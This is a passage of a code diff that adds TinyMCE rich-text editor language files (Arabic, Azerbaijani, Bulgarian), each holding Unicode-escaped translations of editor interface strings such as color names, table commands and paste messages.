\u0628\u0639\u062f","row_before_desc":"\u0625\u062f\u0631\u0627\u062c \u0635\u0641 \u0642\u0628\u0644",desc:"\u0625\u062f\u0631\u0627\u062c \u062c\u062f\u0648\u0644 \u062c\u062f\u064a\u062f"},autosave:{"warning_message":"\u0633\u062a\u0641\u0642\u062f \u0627\u0644\u0645\u062d\u062a\u0648\u064a\u0627\u062a \u0641\u0649 \u062d\u0627\u0644\u0629 \u0627\u0644\u0625\u0633\u062a\u0639\u0627\u062f\u0647 \u0645\u0646 \u0627\u0644\u062d\u0641\u0638 \u0627\u0644\u062a\u0644\u0642\u0627\u0626\u0649.\n\n\u0647\u0644 \u0627\u0646\u062a \u0645\u062a\u0623\u0643\u062f \u0627\u0646\u0643 \u062a\u0631\u064a\u062f \u0627\u0644\u0625\u0633\u062a\u0639\u0627\u062f\u0647 \u0645\u0646 \u0627\u0644\u062d\u0641\u0638 \u0627\u0644\u062a\u0644\u0642\u0627\u0626\u0649\u061f.","restore_content":"\u0627\u0633\u062a\u0639\u0627\u062f\u0629 \u0627\u0644\u0645\u062d\u062a\u0648\u064a\u0627\u062a \u0645\u0646 \u0627\u0644\u062d\u0641\u0638 \u0627\u0644\u062a\u0644\u0642\u0627\u0626\u0649.","unload_msg":"\u0633\u064a\u062a\u0645 \u0641\u0642\u062f \u0627\u0644\u062a\u063a\u064a\u064a\u0631\u0627\u062a \u0625\u0630\u0627 \u062a\u0631\u0643\u062a \u0627\u0644\u0635\u0641\u062d\u0647"},fullscreen:{desc:"\u062a\u0628\u062f\u064a\u0644 \u0648\u0636\u0639 \u0645\u0644\u0621 \u0627\u0644\u0634\u0627\u0634\u0629"},media:{"delta_height":"0","delta_width":"0",edit:"\u0639\u062f\u0644 \u0645\u064a\u062f\u064a\u0627",desc:"\u0627\u0636\u0641/\u0639\u062f\u0644 \u0645\u064a\u062f\u064a\u0627"},fullpage:{desc:"Document properties","delta_width":"","delta_height":""},template:{desc:"\u0627\u0636\u0641 \u0627\u0644\u0645\u062d\u062a\u0648\u064a\u0627\u062a \u0627\u0644\u062c\u0627\u0647\u0632\u0647"},visualchars:{desc:"Visual control characters on/off."},spellchecker:{desc:"\u0627\u0644\u0645\u062f\u0642\u0642 \u0627\u0644\u0625\u0645\u0644\u0627\u0626\u064a Toggle",menu:"\u0625\u0639\u062f\u0627\u062f\u0627\u062a \u0627\u0644\u0645\u062f\u0642\u0642 \u0627\u0644\u0625\u0645\u0644\u0627\u0626\u064a","ignore_word":"\u062a\u062c\u0627\u0647\u0644 \u0627\u0644\u0643\u0644\u0645\u0629","ignore_words":"\u062a\u062c\u0627\u0647\u0644 \u0627\u0644\u0643\u0644",langs:"\u0627\u0644\u0644\u063a\u0627\u062a",wait:"\u0627\u0644\u0631\u062c\u0627\u0621 \u0627\u0644\u0627\u0646\u062a\u0638\u0627\u0631",sug:"\u0627\u0644\u0625\u0642\u062a\u0631\u0627\u062d\u0627\u062a","no_sug":"\u0644\u0627 \u064a\u0648\u062c\u062f \u0625\u0642\u062a\u0631\u0627\u062d\u0627\u062a","no_mpell":"\u0644\u0645 \u064a\u062a\u0645 \u0627\u0644\u0639\u062b\u0648\u0631 \u0639\u0644\u0649 \u0623\u062e\u0637\u0627\u0621 \u0641\u064a \u0627\u0644\u062a\u0647\u062c\u0626\u0629","learn_word":"Learn word"},pagebreak:{desc:"\u0627\u0636\u0641 \u0641\u0627\u0635\u0644 \u0635\u0641\u062d\u0647"},advlist:{types:"Types",def:"Default","lower_alpha":"Lower alpha","lower_greek":"Lower greek","lower_roman":"Lower roman","upper_alpha":"Upper alpha","upper_roman":"Upper roman",circle:"Circle",disc:"Disc",square:"Square"},colors:{"333300":"\u0632\u064a\u062a\u064a \u062f\u0627\u0643\u0646","993300":"\u0628\u0631\u062a\u0642\u0627\u0644 \u0645\u062d\u0631\u0648\u0642","000000":"\u0623\u0633\u0648\u062f","003300":"\u0623\u062e\u0636\u0631 \u062f\u0627\u0643\u0646","003366":"\u0623\u0632\u0631\u0642 \u062f\u0627\u0643\u0646","000080":"\u0628\u062d\u0631\u064a","333399":"\u0646\u064a\u0644\u064a","333333":"\u0631\u0645\u0627\u062f\u064a \u062f\u0627\u0643\u0646 \u062c\u062f\u0627","800000":"\u0643\u0633\u062a\u0646\u0627\u0626\u064a",FF6600:"\u0628\u0631\u062a\u0642\u0627\u0644\u064a","808000":"\u0632\u064a\u062a\u064a","008000":"\u0623\u062e\u0636\u0631","008080":"\u0623\u0632\u0631\u0642 \u0623\u062e\u0636\u0631","0000FF":"\u0623\u0632\u0631\u0642","666699":"\u0631\u0645\u0627\u062f\u064a \u0623\u0632\u0631\u0642","808080":"\u0631\u0645\u0627\u062f\u064a",FF0000:"\u0623\u062d\u0645\u0631",FF9900:"\u0643\u0647\u0631\u0645\u0627\u0646\u064a","99CC00":"\u0623\u0635\u0641\u0631 \u0623\u062e\u0636\u0631","339966":"\u0627\u062e\u0636\u0631 \u0628\u062d\u0631\u064a","33CCCC":"\u0641\u064a\u0631\u0648\u0632\u064a","3366FF":"\u0627\u0644\u0623\u0632\u0631\u0642 \u0627\u0644\u0645\u0644\u0643\u064a","800080":"\u0623\u0631\u062c\u0648\u0627\u0646\u064a","999999":"\u0631\u0645\u0627\u062f\u064a \u0645\u062a\u0648\u0633\u0637",FF00FF:"\u0641\u0648\u0634\u064a",FFCC00:"\u0630\u0647\u0628\u064a",FFFF00:"\u0623\u0635\u0641\u0631","00FF00":"\u0644\u064a\u0645\u0648\u0646\u064a","00FFFF":"\u0645\u0627\u0626\u064a","00CCFF":"\u0633\u0645\u0627\u0648\u064a","993366":"\u0628\u0646\u064a",C0C0C0:"\u0641\u0636\u064a",FF99CC:"\u0632\u0647\u0631\u064a",FFCC99:"\u062e\u0648\u062e\u064a",FFFF99:"\u0623\u0635\u0641\u0631 \u0645\u0636\u064a\u0621",CCFFCC:"\u0623\u062e\u0636\u0631 \u0634\u0627\u062d\u0628",CCFFFF:"\u0633\u0645\u0627\u0648\u064a \u0634\u0627\u062d\u0628","99CCFF":"\u0633\u0645\u0627\u0648\u064a \u0645\u0636\u064a\u0621",CC99FF:"\u0628\u0646\u0641\u0633\u062c\u064a",FFFFFF:"\u0623\u0628\u064a\u0636"},aria:{"rich_text_area":"\u0645\u0633\u0627\u062d\u0629 \u0627\u0644\u062a\u0639\u062f\u064a\u0644"},wordcount:{words:"\u0639\u062f\u062f \u0627\u0644\u0643\u0644\u0645\u0627\u062a :"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/az.js b/js/tiny_mce/langs/az.js new file mode 100755 index 0000000..2de4587 --- /dev/null +++ b/js/tiny_mce/langs/az.js @@ -0,0 +1 @@ +tinyMCE.addI18n({az:{common:{"more_colors":"Daha \u00e7ox r\u0259ng","invalid_data":"X\u0259ta: Q\u0131rm\u0131z\u0131 il\u0259 qeyd edilmi\u015fl\u0259r s\u0259hv daxil edilib.","popup_blocked":"Ba\u011f\u0131\u015flay\u0131n, lakin sizin \u00fcz\u0259 \u00e7\u0131xan p\u0259nc\u0259r\u0259l\u0259riniz funksiya p\u0259nc\u0259r\u0259sinin qar\u015f\u0131s\u0131n\u0131 ald\u0131. G\u0259r\u0259k \u00fcz\u0259 \u00e7\u0131xan p\u0259nc\u0259r\u0259l\u0259rin bloklama nizamlamas\u0131n\u0131 l\u0259\u011fv ed\u0259siniz ki, al\u0259td\u0259n tam istifad\u0259 ed\u0259 bil\u0259siniz.","clipboard_no_support":"Hal-haz\u0131rda b\u0259l\u0259d\u00e7iniz t\u0259r\u0259find\u0259n d\u0259st\u0259kl\u0259nmir. Klaviatura q\u0131saldmas\u0131ndan istifad\u0259 edin.","clipboard_msg":"Kopyalama/\u018flav\u0259 et Mozilla v\u0259 Firefox-da i\u015fl\u0259mir.\nN\u0259 ba\u015f verdiyi haqda daha \u0259trafl\u0131 \u00f6yr\u0259nm\u0259k ist\u0259yirsiniz?","not_set":"-- M\u00fc\u0259yy\u0259n edilm\u0259yib --","class_name":"Sinif",browse:"G\u00f6zd\u0259n ke\u00e7ir",close:"Ba\u011fla",cancel:"L\u0259\u011fv et",update:"Yenil\u0259",insert:"\u018flav\u0259 et",apply:"T\u0259tbiq et","edit_confirm":"Siz haz\u0131rki m\u0259tn sah\u0259si \u00fc\u00e7\u00fcn WYSIWYG rejimi istifad\u0259 etm\u0259k ist\u0259yirsiniz?","invalid_data_number":"{#field} must be a number","invalid_data_min":"{#field} must be a number greater than {#min}","invalid_data_size":"{#field} must be a number or percentage",value:"(value)"},contextmenu:{full:"Tam",right:"Sa\u011fa",center:"M\u0259rk\u0259z il\u0259",left:"Sola",align:"Tarazla\u015fd\u0131r"},insertdatetime:{"day_short":"B,Be,\u00c7a,\u00c7,Ca,C,\u015e,B","day_long":"Bazar,Bazar ert\u0259si,\u00c7\u0259r\u015f\u0259nb\u0259 ax\u015fam\u0131,\u00c7\u0259r\u015f\u0259nb\u0259,C\u00fcm\u0259 ax\u015fam\u0131,C\u00fcm\u0259,\u015e\u0259nb\u0259,Bazar","months_short":"Yan,Fev,Mar,Apr,May,\u0130yu,\u0130yl,Avq,Sen,Okt,Noy,Dek","months_long":"Yanvar,Fevral,Mart,Aprel,May,\u0130yun,\u0130yul,Avqust,Sentyabr,Oktyabr,Noyabr,Dekabr","inserttime_desc":"Vaxt \u0259lav\u0259 et","insertdate_desc":"Tarix \u0259lav\u0259 et","time_fmt":"%H:%M:%S","date_fmt":"%d-%m-%Y"},print:{"print_desc":"\u00c7ap et"},preview:{"preview_desc":"\u0130lkin bax\u0131\u015f"},directionality:{"rtl_desc":"\u0130stiqam\u0259t sa\u011fdan-sola","ltr_desc":"\u0130stiqam\u0259t soldan-sa\u011fa"},layer:{content:"Yeni qat...","absolute_desc":"M\u00fctl\u0259q m\u00f6vqeni yand\u0131r/s\u00f6nd\u00fcr","backward_desc":"Geri k\u00f6\u00e7\u00fcr","forward_desc":"\u0130r\u0259li k\u00f6\u00e7\u00fcr","insertlayer_desc":"Yeni qat \u0259lav\u0259 et"},save:{"save_desc":"Yadda saxla","cancel_desc":"B\u00fct\u00fcn d\u0259yi\u015fiklikl\u0259ri l\u0259\u011fv et"},nonbreaking:{"nonbreaking_desc":"Q\u0131r\u0131lmaz bo\u015fluq \u0259lav\u0259 et"},iespell:{download:"ieSpell a\u015fkar edilm\u0259yib. Y\u00fckl\u0259nilsin?","iespell_desc":"Orfoqrafiyan\u0131 yoxla"},advhr:{"advhr_desc":"\u00dcf\u00fcqi x\u0259tt","delta_height":"","delta_width":""},emotions:{"emotions_desc":"Smayllar","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"Axtar/D\u0259yi\u015f","search_desc":"Axtar","delta_width":"","delta_height":""},advimage:{"image_desc":"\u015e\u0259kli \u0259lav\u0259/redakt\u0259 et","delta_width":"","delta_height":""},advlink:{"link_desc":"Ke\u00e7idi \u0259lav\u0259/redakt\u0259 et","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"Atribut \u0259lav\u0259/redakt\u0259 et","ins_desc":"\u018flav\u0259 edilmi\u015f m\u0259tn","del_desc":"Silinmi\u015f m\u0259tn","acronym_desc":"Akronim","abbr_desc":"Abbreviatura","cite_desc":"Sitat","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{"delta_width":"35",desc:"CSS stili redakt\u0259 et","delta_height":""},paste:{"selectall_desc":"Ham\u0131s\u0131n\u0131 se\u00e7","paste_word_desc":"Word-d\u0259n \u0259lav\u0259 et","paste_text_desc":"Sad\u0259 m\u0259tn kimi \u0259lav\u0259 et","plaintext_mode":"Paste is now in plain text mode. Click again to toggle back to regular paste mode.","plaintext_mode_sticky":"Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode."},"paste_dlg":{"word_title":"P\u0259nc\u0259r\u0259y\u0259 s\u00f6z \u0259lav\u0259 etm\u0259k \u00fc\u00e7\u00fcn CTRL+V klavi\u015f birl\u0259\u015fm\u0259sini istifad\u0259 edin.","text_linebreaks":"S\u0259tr s\u0131nmalar\u0131n\u0131 saxla","text_title":"P\u0259nc\u0259r\u0259y\u0259 m\u0259tn \u0259lav\u0259 etm\u0259k \u00fc\u00e7\u00fcn CTRL+V klavi\u015f birl\u0259\u015fm\u0259sini istifad\u0259 edin."},table:{cell:"\u00d6z\u0259k",col:"S\u00fctun",row:"S\u0259tr",del:"C\u0259dv\u0259li sil","copy_row_desc":"S\u0259tri kopyala","cut_row_desc":"S\u0259tri k\u0259s","paste_row_after_desc":"S\u0259tr c\u0259dv\u0259lini sonra \u0259lav\u0259 et:","paste_row_before_desc":"S\u0259tr c\u0259dv\u0259lini \u0259vv\u0259l \u0259lav\u0259 et:","props_desc":"C\u0259dv\u0259l x\u00fcsusiyy\u0259tl\u0259ri","cell_desc":"\u00d6z\u0259k x\u00fcsusiyy\u0259tl\u0259ri","row_desc":"S\u0259tr x\u00fcsusiyy\u0259tl\u0259ri","merge_cells_desc":"\u00d6z\u0259kl\u0259ri s\u00fcz","split_cells_desc":"S\u00fcz\u00fclm\u00fc\u015f \u00f6z\u0259kl\u0259ri ay\u0131r","delete_col_desc":"S\u00fctunu sil","col_after_desc":"S\u00fctunu sonra \u0259lav\u0259 et:","col_before_desc":"S\u00fctunu \u0259vv\u0259l \u0259lav\u0259 et:","delete_row_desc":"S\u0259tri sil","row_after_desc":"S\u0259tri sonra \u0259vv\u0259l et:","row_before_desc":"S\u0259tri \u0259vv\u0259l \u0259lav\u0259 et:",desc:"Yeni c\u0259dv\u0259l \u0259lav\u0259 et","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","cellprops_delta_width":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"unload_msg":"\u018fg\u0259r s\u0259hif\u0259d\u0259n gets\u0259niz b\u00fct\u00fcn d\u0259yi\u015fiklikl\u0259r itiril\u0259c\u0259k.","warning_message":"If you restore the saved content, you will lose all the content that is currently in the editor.\n\nAre you sure you want to restore the saved content?","restore_content":"Restore auto-saved content."},fullscreen:{desc:"Tamekran rejimini yand\u0131r/s\u00f6nd\u00fcr"},media:{edit:"Mediya-obyekti redakt\u0259 et",desc:"mediya-obyekti \u0259lav\u0259/redakt\u0259 et","delta_height":"","delta_width":""},fullpage:{desc:"S\u0259n\u0259d nizamlamalar\u0131","delta_width":"","delta_height":""},template:{desc:"\u018fvv\u0259ld\u0259n m\u00fc\u0259yy\u0259n edil\u0259n \u015fablon daxil et"},visualchars:{desc:"Vizual idar\u0259 xarakterl\u0259rini yand\u0131r/s\u00f6nd\u00fcr."},spellchecker:{desc:"Orfoqraf\u0131 yoxla",menu:"Orfoqrafiya nizamlamas\u0131n\u0131","ignore_word":"S\u00f6zl\u00fc iqnor et","ignore_words":"H\u0259r \u015feyi iqnor et",langs:"Dill\u0259r",wait:"Z\u0259hm\u0259t olmasa, g\u00f6zl\u0259yin...",sug:"Variantlar","no_sug":"Variantlar yoxdur","no_mpell":"X\u0259ta a\u015fkar edilm\u0259di.","learn_word":"Learn word"},pagebreak:{desc:"S\u0259hif\u0259 b\u00f6l\u0259nini \u0259lav\u0259 et."},advlist:{types:"Types",def:"Default","lower_alpha":"Lower Alpha","lower_greek":"Lower Greek","lower_roman":"Lower Roman","upper_alpha":"Upper Alpha","upper_roman":"Upper Roman",circle:"Circle",disc:"Disc",square:"Square"},colors:{"333300":"Dark olive","993300":"Burnt orange","000000":"Black","003300":"Dark green","003366":"Dark azure","000080":"Navy Blue","333399":"Indigo","333333":"Very dark gray","800000":"Maroon",FF6600:"Orange","808000":"Olive","008000":"Green","008080":"Teal","0000FF":"Blue","666699":"Grayish blue","808080":"Gray",FF0000:"Red",FF9900:"Amber","99CC00":"Yellow green","339966":"Sea green","33CCCC":"Turquoise","3366FF":"Royal blue","800080":"Purple","999999":"Medium gray",FF00FF:"Magenta",FFCC00:"Gold",FFFF00:"Yellow","00FF00":"Lime","00FFFF":"Aqua","00CCFF":"Sky blue","993366":"Brown",C0C0C0:"Silver",FF99CC:"Pink",FFCC99:"Peach",FFFF99:"Light yellow",CCFFCC:"Pale green",CCFFFF:"Pale cyan","99CCFF":"Light sky blue",CC99FF:"Plum",FFFFFF:"White"},aria:{"rich_text_area":"Rich Text Area"},wordcount:{words:"Words"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/bg.js b/js/tiny_mce/langs/bg.js new file mode 100755 index 0000000..d188269 --- /dev/null +++ b/js/tiny_mce/langs/bg.js @@ -0,0 +1 @@ +tinyMCE.addI18n({bg:{common:{"more_colors":"\u041e\u0449\u0435 \u0446\u0432\u0435\u0442\u043e\u0432\u0435","invalid_data":"\u0413\u0440\u0435\u0448\u043a\u0430: \u0412\u044a\u0432\u0435\u0434\u0435\u043d\u0438 \u0441\u0430 \u043d\u0435\u0432\u0430\u043b\u0438\u0434\u043d\u0438 \u0441\u0442\u043e\u0439\u043d\u043e\u0441\u0442\u0438, \u0442\u0435 \u0441\u0430 \u043c\u0430\u0440\u043a\u0438\u0440\u0430\u043d\u0438 \u0432 \u0447\u0435\u0440\u0432\u0435\u043d\u043e.","popup_blocked":"\u0421\u044a\u0436\u0430\u043b\u044f\u0432\u0430\u043c\u0435, \u043d\u043e \u0437\u0430\u0431\u0435\u043b\u044f\u0437\u0430\u0445\u043c\u0435, \u0447\u0435 \u0432\u0430\u0448\u0438\u044f\u0442 popup-blocker \u0435 \u0441\u043f\u0440\u044f\u043b \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446 \u043a\u043e\u0439\u0442\u043e \u0441\u0435 \u0438\u0437\u043f\u043e\u043b\u0437\u0432\u0430 \u043e\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u0430\u0442\u0430. \u0429\u0435 \u0442\u0440\u044f\u0431\u0432\u0430 \u0434\u0430 \u0438\u0437\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0430\u043d\u0435\u0442\u043e \u043d\u0430 \u043f\u043e\u043f\u044a\u043f\u0438 \u0437\u0430 \u0442\u043e\u0437\u0438 \u0441\u0430\u0439\u0442 \u0437\u0430 \u0434\u0430 \u0438\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0442\u0435 \u043f\u044a\u043b\u043d\u0430\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u043d\u043e\u0441\u0442.","clipboard_no_support":"\u041d\u0435 \u0441\u0435 \u043f\u043e\u0434\u0434\u044a\u0440\u0436\u0430 \u043e\u0442 \u0432\u0430\u0448\u0438\u044f\u0442 \u0431\u0440\u0430\u0443\u0437\u044a\u0440, \u0438\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0439\u0442\u0435 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u043d\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0438.","clipboard_msg":"\u041a\u043e\u043f\u0438\u0440\u0430\u043d\u0435/\u041e\u0442\u0440\u044f\u0437\u0432\u0430\u043d\u0435/\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435 \u043d\u0435 \u0435 \u0434\u043e\u0441\u0442\u044a\u043f\u043d\u043e \u043f\u043e\u0434 Mozilla \u0438 Firefox.\n\u0416\u0435\u043b\u0430\u0435\u0442\u0435 \u043b\u0438 \u043f\u043e\u0432\u0435\u0447\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0437\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430?","not_set":"-- \u041d\u0435\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0435\u043d\u043e --","class_name":"\u041a\u043b\u0430\u0441",browse:"Browse",close:"\u0417\u0430\u0442\u0432\u043e\u0440\u0438",cancel:"\u041e\u0442\u043a\u0430\u0436\u0438",update:"\u041e\u0431\u043d\u043e\u0432\u0438",insert:"\u0412\u043c\u044a\u043a\u043d\u0438",apply:"\u041f\u043e\u0442\u0432\u044a\u0440\u0434\u0438","edit_confirm":"\u0418\u0441\u043a\u0430\u0442\u0435 \u043b\u0438 \u0434\u0430 \u0438\u0437\u043f\u043e\u043b\u0437\u0432\u0430\u0442\u0435 WYSIWYG \u0440\u0435\u0436\u0438\u043c \u0437\u0430 \u0442\u043e\u0432\u0430 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e \u043f\u043e\u043b\u0435?","invalid_data_number":"{#field} \u0442\u0440\u044f\u0431\u0432\u0430 \u0434\u0430 \u0435 \u0447\u0438\u0441\u043b\u043e","invalid_data_min":"{#field} \u0442\u0440\u044f\u0431\u0432\u0430 \u0434\u0430 \u0435 \u0447\u0438\u0441\u043b\u043e \u043f\u043e-\u0433\u043e\u043b\u044f\u043c\u043e \u043e\u0442 {#min}","invalid_data_size":"{#field} \u0442\u0440\u044f\u0431\u0432\u0430 \u0434\u0430 \u0435 \u0447\u0438\u0441\u043b\u043e \u0438\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u043d\u0442",value:"(\u0441\u0442\u043e\u0439\u043d\u043e\u0441\u0442)"},contextmenu:{full:"\u0414\u0432\u0443\u0441\u0442\u0440\u0430\u043d\u043d\u043e",right:"\u0414\u044f\u0441\u043d\u043e",center:"\u0426\u0435\u043d\u0442\u044a\u0440",left:"\u041b\u044f\u0432\u043e",align:"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435"},insertdatetime:{"day_short":"\u041d\u0434,\u041f\u043d,\u0412\u0442,\u0421\u0440,\u0427\u0442,\u041f\u0442,\u0421\u0431,\u041d\u0434","day_long":"\u041d\u0435\u0434\u0435\u043b\u044f,\u041f\u043e\u043d\u0435\u0434\u0435\u043b\u043d\u0438\u043a,\u0412\u0442\u043e\u0440\u043d\u0438\u043a,\u0421\u0440\u044f\u0434\u0430,\u0427\u0435\u0442\u0432\u044a\u0440\u0442\u044a\u043a,\u041f\u0435\u0442\u044a\u043a,\u0421\u044a\u0431\u043e\u0442\u0430,\u041d\u0435\u0434\u0435\u043b\u044f","months_short":"\u042f\u043d\u0443,\u0424\u0435\u0432,\u041c\u0430\u0440,\u0410\u043f\u0440,\u041c\u0430\u0439,\u042e\u043d\u0438,\u042e\u043b\u0438,\u0410\u0432\u0433,\u0421\u0435\u043f,\u041e\u043a\u0442,\u041d\u043e\u0435,\u0414\u0435\u043a","months_long":"\u042f\u043d\u0443\u0430\u0440\u0438,\u0424\u0435\u0432\u0440\u0443\u0430\u0440\u0438,\u041c\u0430\u0440\u0442,\u0410\u043f\u0440\u0438\u043b,\u041c\u0430\u0439,\u042e\u043d\u0438,\u042e\u043b\u0438,\u0410\u0432\u0433\u0443\u0441\u0442,\u0421\u0435\u043f\u0442\u0435\u043c\u0432\u0440\u0438,\u041e\u043a\u0442\u043e\u043c\u0432\u0440\u0438,\u041d\u043e\u0435\u043c\u0432\u0440\u0438,\u0414\u0435\u043a\u0435\u043c\u0432\u0440\u0438","inserttime_desc":"\u0412\u043c\u044a\u043a\u043d\u0438 \u0432\u0440\u0435\u043c\u0435","insertdate_desc":"\u0412\u043c\u044a\u043a\u043d\u0438 \u0434\u0430\u0442\u0430","time_fmt":"%H:%M:%S","date_fmt":"%Y-%m-%d"},print:{"print_desc":"\u041e\u0442\u043f\u0435\u0447\u0430\u0442\u0430\u0439"},preview:{"preview_desc":"\u041f\u0440\u0435\u0433\u043b\u0435\u0434"},directionality:{"rtl_desc":"\u041f\u043e\u0441\u043e\u043a\u0430 \u043e\u0442\u0434\u044f\u0441\u043d\u043e \u043d\u0430 \u043b\u044f\u0432\u043e","ltr_desc":"\u041f\u043e\u0441\u043e\u043a\u0430 \u043e\u0442\u043b\u044f\u0432\u043e \u043d\u0430 \u0434\u044f\u0441\u043d\u043e"},layer:{content:"\u041d\u043e\u0432 \u0441\u043b\u043e\u0439...","absolute_desc":"\u0412\u043a\u043b\u044e\u0447\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u043f\u043e\u0437\u0438\u0446\u0438\u043e\u043d\u0438\u0440\u0430\u043d\u0435","backward_desc":"\u041f\u043e\u043a\u0430\u0436\u0438 \u043e\u0442\u0437\u0430\u0434","forward_desc":"\u041f\u043e\u043a\u0430\u0436\u0438 \u043e\u0442\u043f\u0440\u0435\u0434","insertlayer_desc":"\u0412\u043c\u044a\u043a\u043d\u0438 \u043d\u043e\u0432 \u0441\u043b\u043e\u0439"},save:{"save_desc":"\u0417\u0430\u043f\u0438\u0448\u0438","cancel_desc":"\u041e\u0442\u043a\u0430\u0436\u0438 \u0432\u0441\u0438\u0447\u043a\u0438 \u043f\u0440\u043e\u043c\u0435\u043d\u0438"},nonbreaking:{"nonbreaking_desc":"\u0412\u043c\u044a\u043a\u043d\u0438 \u043d\u0435\u043f\u0440\u0435\u043a\u044a\u0441\u0432\u0430\u0435\u043c \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b"},iespell:{download:"ieSpell \u043d\u0435 \u0435 \u043e\u0442\u043a\u0440\u0438\u0442. \u0416\u0435\u043b\u0430\u0435\u0442\u0435 \u043b\u0438 \u0434\u0430 \u0433\u043e \u0438\u043d\u0441\u0442\u0430\u043b\u0438\u0440\u0430\u0442\u0435 \u0441\u0435\u0433\u0430?","iespell_desc":"\u041f\u0440\u043e\u0432\u0435\u0440\u0438 \u043f\u0440\u0430\u0432\u043e\u043f\u0438\u0441\u0430"},advhr:{"advhr_desc":"\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u0430 \u043b\u0438\u043d\u0438\u044f","delta_height":"","delta_width":""},emotions:{"emotions_desc":"\u0415\u043c\u043e\u0442\u0438\u043a\u043e\u043d\u0438","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"\u0422\u044a\u0440\u0441\u0438/\u0417\u0430\u043c\u0435\u0441\u0442\u0438","search_desc":"\u0422\u044a\u0440\u0441\u0438","delta_width":"","delta_height":""},advimage:{"image_desc":"\u0412\u043c\u044a\u043a\u043d\u0438/\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","delta_width":"","delta_height":""},advlink:{"link_desc":"\u0412\u043c\u044a\u043a\u043d\u0438/\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430","delta_height":"","delta_width":""},xhtmlxtras:{"attribs_desc":"\u0412\u043c\u044a\u043a\u043d\u0438/\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438","ins_desc":"\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435","del_desc":"\u0418\u0437\u0442\u0440\u0438\u0432\u0430\u043d\u0435","acronym_desc":"\u0410\u043a\u0440\u043e\u043d\u0438\u043c","abbr_desc":"\u0421\u044a\u043a\u0440\u0430\u0449\u0435\u043d\u0438\u0435","cite_desc":"\u0426\u0438\u0442\u0430\u0442","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 CSS \u0441\u0442\u0438\u043b","delta_height":"","delta_width":""},paste:{"plaintext_mode":"\u041f\u043e\u0441\u0442\u0430\u0432\u0435\u043d\u043e\u0442\u043e \u0435 \u0432 \u0438\u0437\u0447\u0438\u0441\u0442\u0435\u043d \u0442\u0435\u043a\u0441\u0442\u043e\u0432 \u0440\u0435\u0436\u0438\u043c. \u0429\u0440\u0430\u043a\u043d\u0435\u0442\u0435 \u043e\u0442\u043d\u043e\u0432\u043e, \u0437\u0430 \u0434\u0430 \u043f\u0440\u0435\u043c\u0438\u043d\u0435\u0442\u0435 \u0432 \u043e\u0431\u0438\u043a\u043d\u043e\u0432\u0435\u043d \u0440\u0435\u0436\u0438\u043c \u043d\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435.","plaintext_mode_sticky":"\u041f\u043e\u0441\u0442\u0430\u0432\u0435\u043d\u043e\u0442\u043e \u0435 \u0432 \u0438\u0437\u0447\u0438\u0441\u0442\u0435\u043d \u0442\u0435\u043a\u0441\u0442\u043e\u0432 \u0440\u0435\u0436\u0438\u043c. \u0429\u0440\u0430\u043a\u043d\u0435\u0442\u0435 \u043e\u0442\u043d\u043e\u0432\u043e, \u0437\u0430 \u0434\u0430 \u043f\u0440\u0435\u043c\u0438\u043d\u0435\u0442\u0435 \u0432 \u043e\u0431\u0438\u043a\u043d\u043e\u0432\u0435\u043d \u0440\u0435\u0436\u0438\u043c \u043d\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435. \u0421\u043b\u0435\u0434 \u043a\u0430\u0442\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0430 \u0449\u0435 \u0441\u0435 \u0432\u044a\u0440\u043d\u0435\u0442\u0435 \u0432 \u043d\u043e\u0440\u043c\u0430\u043b\u0435\u043d \u0440\u0435\u0436\u0438\u043c.","selectall_desc":"\u0418\u0437\u0431\u0435\u0440\u0438 